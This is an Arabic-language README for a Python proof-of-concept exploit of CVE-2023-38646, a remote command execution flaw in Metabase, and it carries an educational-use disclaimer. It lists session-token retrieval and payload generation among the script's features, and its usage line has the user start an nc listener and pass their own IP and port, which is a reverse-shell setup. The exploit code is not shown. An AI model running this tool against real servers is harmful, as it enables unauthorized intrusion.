CVE-2023-38646-PoC-Metabase

نص برهان المفهوم (PoC) لاستغلال CVE-2023-38646. مخصص للأغراض التعليمية والبحثية فقط.

الوصف

هذا نص برهان المفهوم (PoC) مكتوب بلغة بايثون لاستغلال CVE-2023-38646، وهي ثغرة تؤثر على Metabase. يستغل هذا الاستغلال سوء التهيئة لتحقيق تنفيذ أوامر عن بُعد.

⚠️ إخلاء مسؤولية:
هذا النص مخصص للأغراض التعليمية والبحث الأخلاقي فقط. إساءة استخدام هذا النص لمهاجمة أنظمة دون موافقة مسبقة غير قانونية وغير أخلاقية. المؤلف غير مسؤول عن أي ضرر ناتج عن استخدام هذه الأداة.

الميزات

• استرداد رموز الجلسة تلقائيًا
• توليد الحمولات لتنفيذ الأوامر عن بُعد
• أتمتة نشر الاستغلال

المتطلبات

• بايثون 3.7+
• مكتبة requests (pip install requests)

الاستخدام

• تأكد من الاستماع على المنفذ باستخدام nc أولاً.

python3 exploit.py -u <target_url> -ip <your_ip> -p <your_port>